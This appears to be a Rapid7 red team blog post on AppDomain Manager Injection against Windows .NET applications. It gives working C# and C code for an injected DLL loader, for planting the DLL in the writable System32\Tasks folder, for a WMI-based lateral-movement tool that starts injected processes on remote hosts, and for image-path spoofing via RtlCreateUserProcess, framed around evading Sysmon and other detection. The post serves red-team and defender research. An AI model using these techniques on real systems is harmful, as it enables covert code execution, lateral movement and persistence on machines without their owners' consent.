Last updated at Tue, 27 Aug 2024 15:35:15 GMT

AppDomain Manager Injection is a very versatile and useful technique for red team operators. This technique allows you to effectively turn any Microsoft.NET application on a Windows host into a lolbin (Living Off the Land Binary) by forcing the application to load a specially crafted .NET assembly, using its assembly full name.

This technique is not new, and has been documented as far back as 2020 with a PoC called GhostLoader releasing. It has been very useful for the Rapid7 red team for quite some time as an initial access payload, lateral movement payload, and even for various persistence methods. However, some AppDomain Manager Injection techniques have flaws that can limit their usefulness.

This post will showcase a variety of ways to perform and utilize AppDomain Manager Injection during red team operations—including techniques that mitigate the flaws associated with earlier AppDomain Manager Injection methods.

AppDomain Manager Injection Triggers

There are two ways to trigger this technique. The first method involves creating a configuration file and specifying the AppDomain Manager libraries assembly name and type within the appdomainManagerAssembly and appdomainManagerType properties. The second method involves setting three process environment variables APPDOMAIN_MANAGER_ASM, APPDOMAIN_MANAGER_TYPE, and COMPLUS_VERSION.

Regardless of the trigger used, once the configuration file is in place or the environment variables are set, the CLR will load the provided assembly into the targeted processes memory, allowing you to execute malicious code within the target process. To demonstrate this technique, we will use a modified version of the AppDomain Manager Injection payload found here:

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.Diagnostics;
 
public sealed class MyAppDomainManager : AppDomainManager
{
    
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {  
         
        bool res = ClassExample.Execute();
          
        return;
    }
}
  
public class ClassExample
{          
         
    public static bool Execute()
    {
        System.Windows.Forms.MessageBox.Show("Hello From: " + Process.GetCurrentProcess().ProcessName);
    return true;
    }
}

Compile this code with the C# compiler csc /platform:x64 /target:library AppDomInject.cs.

Trigger Via Configuration File

To perform the AppDomain Manager Injection with the first trigger, we will copy a .NET application into a folder that is writable by the current user. In this case, we copy UevAppMonitor.exe from the C:\Windows\Sytem32 folder into the folder C:\Test . Once UevAppMonitor.exe is moved into a writable location, we create an application configuration file called UevAppMonitor.exe.config with the following contents:

<configuration>
   <runtime>
      <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
         <probing privatePath="C:\Test"/>
      </assemblyBinding>
      <appDomainManagerAssembly value="AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" /> 
      <appDomainManagerType value="MyAppDomainManager" /> 
   </runtime>
</configuration>

We then execute UevAppMonitor.exe and observe that the AppDomain Manager library loads and executes:

Trigger Via Environment Variables

As mentioned above, this technique can also be triggered without the configuration file by setting some environment variables that instruct the CLR to load the specified library. To trigger this technique without the configuration file we simply set the following environment variables and re-execute the UevAppMonitor.exe process.

set APPDOMAIN_MANAGER_ASM=AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319

While triggering AppDomain Manager Injection with either of these methods works, both have obvious flaws. First, both methods require you to either know about a .NET application that exists in a writable folder. And second, they both require you to move the executables out of their original folder and into a new one. Additionally, keen defenders may take notice of configuration files being placed on disk and tied back to AppDomain Manager Injection.

One way we can mitigate these flaws is to simply place the malicious DLL in a writable location on disk and force the application to load the DLL while continuing to run in its native folder. To accomplish this, we will again use UevAppMonitor.exe which exists in C:\Windows\System32, a non-writable folder for standard users. This takes advantage of the way the Common Language Runtime (CLR) searches for assemblies when attempting to load them via assembly full name. It has been well documented that this technique bypasses image load events and will not show up under event ID 7 in sysmon. This is because the target application isn't loading the DLL in the standard Windows way with a function such as LoadLibrary(). Instead, the CLR recognizes that we do not want to use the default AppDomain Manager for this process, and attempts to reflectively load the target assembly by its assembly full name, which is what is being supplied in the APPDOMAIN_MANAGER_ASM environment variable and the appdomainManagerAssembly XML property.

Before we demonstrate how to force UevAppMonitor.exe to load our malicious DLL from within System32, let's first look at the behavior of the CLR when loading assemblies by their assembly full name. In this scenario, TestLoad.exe will simply attempt to load an assembly test.exe by using the assembly's full name test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null.

When searching for this assembly to load the CLR will check the following places. First, the CLR checks if the assembly exists in the directory of the image path, in this case, C:\Test\TestLoad\. The CLR will then look if the assembly exists in the directory of the image path, inside a folder that is the same name of the assembly. So, in this example, the CLR will look for test.exe in C:\Test\TestLoad\Test\test.exe. First, we execute TestLoad.exe while test.exe is in the same folder, then we move test.exe into C:\Test\TestLoad\Test\ and re-rerun TestLoad.exe. In both instances, the assembly is loaded, as illustrated below:

Following this logic, to get UevAppMonitor.exe to load the malicious DLL we simply need to place the malicious DLL into a writable folder inside of C:\Windows\System32\. Luckily, C:\Windows\System32\Tasks, exists, and is a world writable folder. Then, we recompile the AppDomain Manager Injection DLL and specify that the resulting DLL be named Tasks.dll. With that complete, we can place the newly created Tasks.dll into C:\Windows\System32\Tasks\ and reconfigure the required Environment variables to search for the Tasks assembly:

set APPDOMAIN_MANAGER_ASM=Tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319

Once configured, execute C:\Windows\System32\UevAppMonitor.exe and observe that the malicious AppDomain Manager DLL is successfully loaded into the target process:

AppDomain Manager Injection for Lateral Movement

Now, let's explore some different ways we can apply AppDomain Manager Injection. First, we can easily apply the above triggers to utilize AppDomain Manager Injection for lateral movement, which has been successful for the Rapid7 red team. Additionally, by performing Image Path spoofing, we can force any .NET application on disk to load our malicious DLL from an arbitrary location.

The lateral movement technique relies on combining WMI and AppDomain Manager Injection to force a process on a remote system to load a malicious DLL. Like most lateral movement techniques, Administrator permissions on the target system are required. Using the information outlined above, building a payload that allows you to perform AppDomain Manager Injection via WMI is simple. The following C# code can be used to perform this technique:

using System;
using System.Management;
using System.Diagnostics;
using System.Collections;
using System.Collections.Specialized;
 
namespace Program
{
    public class WmiCommand
    {
        public static void Main(string[] args)
        {
            ConnectionOptions conOptions = new ConnectionOptions();
 
            if(args.Length > 2)
            {
                conOptions.Username = args[2];
                conOptions.Password = args[3];
            }
            conOptions.Impersonation = ImpersonationLevel.Impersonate;
            conOptions.EnablePrivileges = true;
            ManagementScope manScope = new ManagementScope(string.Format("\\\\{0}\\ROOT\\CIMV2", args[0]), conOptions);
            manScope.Connect();
            ObjectGetOptions options = new ObjectGetOptions();
            ManagementPath path = new ManagementPath("Win32_Process");
            ManagementClass manClass = new ManagementClass(manScope, path, options);
            ManagementPath startupPath = new ManagementPath("Win32_ProcessStartup");
            ManagementClass processStartupClass = new ManagementClass(manScope,startupPath,options);
            ManagementObject processStartupInstance = processStartupClass.CreateInstance();
            Process process = Process.GetCurrentProcess();
            process.StartInfo.EnvironmentVariables.Add("APPDOMAIN_MANAGER_ASM","Tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null");
            process.StartInfo.EnvironmentVariables.Add("APPDOMAIN_MANAGER_TYPE","MyAppDomainManager");
            process.StartInfo.EnvironmentVariables.Add("COMPLUS_VERSION","v4.0.30319");
            String[] env = new String[process.StartInfo.EnvironmentVariables.Count];
            int i = 0;
            foreach ( DictionaryEntry de in process.StartInfo.EnvironmentVariables)
            {
                string envVar = String.Format("{0}={1}",de.Key,de.Value);
                env[i] = envVar;
                i++;
            }
 
            processStartupInstance["EnvironmentVariables"] = env;
            ManagementBaseObject methodParams = manClass.GetMethodParameters("Create");
            methodParams["CommandLine"] = args[1];
            methodParams["ProcessStartupInformation"] = processStartupInstance;
 
            ManagementBaseObject manBase = manClass.InvokeMethod("Create", methodParams, null);
            Console.WriteLine(string.Format("Process Returned: {0}\nPID: {1}", manBase["returnValue"].ToString(), manBase["processId".ToString()]));
 
        }
    }
}

The code takes in the remote host, process to create, and an optional username / password combination. To trigger the injection, we place the malicious DLL into the C:\WIndows\System32\Tasks\ folder utilizing SMB. Then, we can execute the compiled C# program to create the process via WMI. The C# code will first copy the current processes environment block into a string array, and then add the required environment variables for AppDomain Manager Injection to trigger. The environment block is then passed into the Win32_ProcessStartup WMI class:

[Abstract, UUID("{8502C4DB-5FBB-11D2-AAC1-006008C78BC7}"), AMENDMENT]
class Win32_ProcessStartup : Win32_MethodParameterClass
{
  uint32 CreateFlags;
  string EnvironmentVariables[];
  uint16 ErrorMode = 1;
  uint32 FillAttribute;
  uint32 PriorityClass;
  uint16 ShowWindow;
  string Title;
  string WinstationDesktop;
  uint32 X;
  uint32 XCountChars;
  uint32 XSize;
  uint32 Y;
  uint32 YCountChars;
  uint32 YSize;
};

The entire Win32_ProcessStartup class will then be passed to the Win32_Process class, which contains the Create method that will eventually be invoked to start the target process:

[Dynamic, Provider("CIMWin32"), SupportsCreate, CreateBy("Create"), SupportsDelete, DeleteBy("DeleteInstance"), UUID("{8502C4DC-5FBB-11D2-AAC1-006008C78BC7}"), DisplayName("Processes"), AMENDMENT]
class Win32_Process : CIM_Process
{
  string   CreationClassName;
  string   Caption;
  string   CommandLine;
  datetime CreationDate;
  string   CSCreationClassName;
  string   CSName;
  string   Description;
  string   ExecutablePath;
  uint16   ExecutionState;
  string   Handle;
  uint32   HandleCount;
  datetime InstallDate;
  uint64   KernelModeTime;
  uint32   MaximumWorkingSetSize;
  uint32   MinimumWorkingSetSize;
  string   Name;
  string   OSCreationClassName;
  string   OSName;
  uint64   OtherOperationCount;
  uint64   OtherTransferCount;
  uint32   PageFaults;
  uint32   PageFileUsage;
  uint32   ParentProcessId;
  uint32   PeakPageFileUsage;
  uint64   PeakVirtualSize;
  uint32   PeakWorkingSetSize;
  uint32   Priority;
  uint64   PrivatePageCount;
  uint32   ProcessId;
  uint32   QuotaNonPagedPoolUsage;
  uint32   QuotaPagedPoolUsage;
  uint32   QuotaPeakNonPagedPoolUsage;
  uint32   QuotaPeakPagedPoolUsage;
  uint64   ReadOperationCount;
  uint64   ReadTransferCount;
  uint32   SessionId;
  string   Status;
  datetime TerminationDate;
  uint32   ThreadCount;
  uint64   UserModeTime;
  uint64   VirtualSize;
  string   WindowsVersion;
  uint64   WorkingSetSize;
  uint64   WriteOperationCount;
  uint64   WriteTransferCount;
};

It is not required to perform this technique with an assembly inside of System32, because being able to write and execute WMI on the remote process requires administrator permissions. This allows us to load the assembly inside of some third party .NET application inside the Program Files folder, or potentially, an in-house .NET application that is installed on all hosts.

AppDomain Manager Injection Anywhere On Disk

As mentioned, it is possible to force any .NET process on the host to load the malicious AppDomain Manager assembly from an arbitrary location on disk. This is performed via ImageName Spoofing. Researcher Octoberfest7, wrote on Twitter about using the RtlCreateProcessParametersEx and RtlCreateUserProcess NTAPIs to spoof the Image load path of a Windows executable to make it appear as if it is executing from somewhere else. Then, another researcher snovvcrash published Proof-of-Concept code on how to achieve this effect.

After seeing this, Rapid7 researchers immediately thought of how this can affect techniques such as AppDomain Manager Injection. For example, could we spoof and image path name to trick any .NET assembly on disk to load our malicious DLL? This would bypass the requirement of needing the target assembly to exist in a user writable folder and allow us to target assemblies such as powershell or anything in the C:\Windows\Microsoft.NET\Framework64 folder. We found that it is possible, because of the way Windows searches for an AppDomain Manager DLL.

As noted above, when searching for an assembly via its full name, the CLR will search for the assembly off of the ImagePathName value in the RTL_USER_PROCESS_PARAMETERS structure. We can use the RtlCreateProcessParametersEx NTAPI to populate the RTL_USER_PROCESS_PARAMETERS with a spoofed ImagePathName. RtlCreateProcessParametersEx has the following function definition:

typedef NTSTATUS (NTAPI *_RtlCreateProcessParametersEx)(
    _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
    _In_ PUNICODE_STRING ImagePathName,
    _In_opt_ PUNICODE_STRING DllPath,
    _In_opt_ PUNICODE_STRING CurrentDirectory,
    _In_opt_ PUNICODE_STRING CommandLine,
    _In_opt_ PVOID Environment,
    _In_opt_ PUNICODE_STRING WindowTitle,
    _In_opt_ PUNICODE_STRING DesktopInfo,
    _In_opt_ PUNICODE_STRING ShellInfo,
    _In_opt_ PUNICODE_STRING RuntimeData,
    _In_ ULONG Flags
);

This function is responsible for populating the PRTL_USER_PROCESS_PARAMETERS structure which will be passed on to the RtlCreateUserProcess function. The PRTL_USER_PROCESS_PARAMETERS structure is defined here:

typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;
 
    ULONG Flags;
    ULONG DebugFlags;
 
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
 
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
 
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
 
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
 
    ULONG EnvironmentSize;
    ULONG EnvironmentVersion;
    PVOID PackageDependencyData;
    ULONG ProcessGroupId;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

As mentioned, the populated RTL_USER_PROCESS_PARAMETERS structure will then be passed on to the RtlCreateUserProcess NTAPI call:

typedef NTSTATUS (NTAPI *_RtlCreateUserProcess)(
    _In_ PUNICODE_STRING NtImagePathName,
    _In_ ULONG AttributesDeprecated,
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
    _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
    _In_opt_ HANDLE ParentProcess,
    _In_ BOOLEAN InheritHandles,
    _In_opt_ HANDLE DebugPort,
    _In_opt_ HANDLE TokenHandle,
    _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation
);

Now we need to populate the PRTL_USER_PROCESS_PARAMETERS structure. To start, the ImagePathName, CommandLine, and Environment parameters for RtlCreateProcessParametersEx :

wchar_t chNewEnv[BUFSIZE];
LPWSTR lpszCurrentVariable;
lpszCurrentVariable = (LPWSTR) chNewEnv;
 
wcscpy(lpszCurrentVariable,L"APPDOMAIN_MANAGER_ASM=AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null");
lpszCurrentVariable += lstrlenW(lpszCurrentVariable) + 1;
wcscpy(lpszCurrentVariable,L"APPDOMAIN_MANAGER_TYPE=MyAppDomainManager");
lpszCurrentVariable += lstrlenW(lpszCurrentVariable) + 1;
wcscpy(lpszCurrentVariable,L"COMPLUS_Version=v4.0.30319");
lpszCurrentVariable += lstrlenW(lpszCurrentVariable) + 1;
*lpszCurrentVariable = (wchar_t)0;
 
UNICODE_STRING spoofedImagePathName;
pRtlInitUnicodeString(&spoofedImagePathName,L"\\??\\C:\\Test\\powershell.exe");
UNICODE_STRING currentDirectory;
pRtlInitUnicodeString(&currentDirectory,L"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\");
UNICODE_STRING commandLine;
pRtlInitUnicodeString(&commandLine,L"\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe\"");

The ImagePathName and CommandLine parameters are simple Unicode strings and are populated with RtlInitUnicodeString . The Environment parameter is a pointer to a collection of Unicode strings in the format of VARNAME=VALUE . In this instance, the process created via RtlCreateUserProcess will only have the APPDOMAIN_MANAGER_ASM, APPDOMAIN_MANAGER_TYPE, and COMPLUS_VERSION variables set. Obviously, this is not realistic from an opsec perspective.

To remedy this, a pointer to the current processes Environment block can be retrieved with the GetEnvironmentStrings() WINAPI call. Once populated, a pointer to the created Environment block can be passed onto the RtlCreateProcessParameters NTAPI along with the ImagePathName and CommandLine parameters:

NTSTATUS status = pRtlCreateProcessParametersEx(
        &processParams,
        &spoofedImagePathName,
        NULL,
        &commandLine,
        NULL,
        (PVOID)chNewEnv,
        NULL,
        NULL,
        NULL,
        NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED
    );

Now all that's left to is populate a Unicode string containing the process to create and to pass the processParams structure to the RtlCreateUserProcess NTAPI:

UNICODE_STRING imagePathName;
pRtlInitUnicodeString(&imagePathName,L"\\??\\C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");
status = pRtlCreateUserProcess(
    &imagePathName,
    0,
    processParams,
    NULL,
    NULL,
    GetCurrentProcess(),
    TRUE,
    NULL,
    NULL,
    &processInfo
);

This call is pretty simple, a new process, specified by the ImagePathName parameter will be created with the parameters specified by the PRTL_USER_PROCESS_PARAMS structure. Due to the spoofing of the ImagePathName in the parameters structure, the newly created Powershell.exe process will run with the spoofed image path, C:\Test\powershell.exe . Additionally, the process will be created with our specified environment block, which will trigger the newly created Powershell process to attempt to load the AppDomain Manager Library specified in the APPDOMAIN_MANAGER_ASM environment variable.

As mentioned previously, the Powershell process will then search for the library in the folder specified in the ImagePathName. Normally, this would have Powershell search in the C:\Windows\System32\WindowsPowerShell\v1.0\. However, since this process was created with a spoofed ImagePathName , Powershell instead looks for the DLL in the directory C:\Test\. Once executed, the Powershell process will start and load the AppDomain Manager library:

Conclusion

As demonstrated, AppDomain Manager Injection can be a very powerful technique for red team operators and can serve a variety of use cases. Operators can choose to package AppDomain Manager DLLs in initial access payloads, perform lateral movement, and even utilize this method for persistence through methods such as scheduled tasks or service binaries.

Operators should keep in mind that as this technique requires use of a .NET assembly, standard opsec practices should be applied to the AppDomain Manager DLL. For example, the DLL will be subject to scans from the Windows Antimalware Scan Interface (AMSI) and the assembly will be logged via Event Tracing for Windows (ETW).

References / Acknowledgements

Thank you to all of the researchers below and any I may have missed: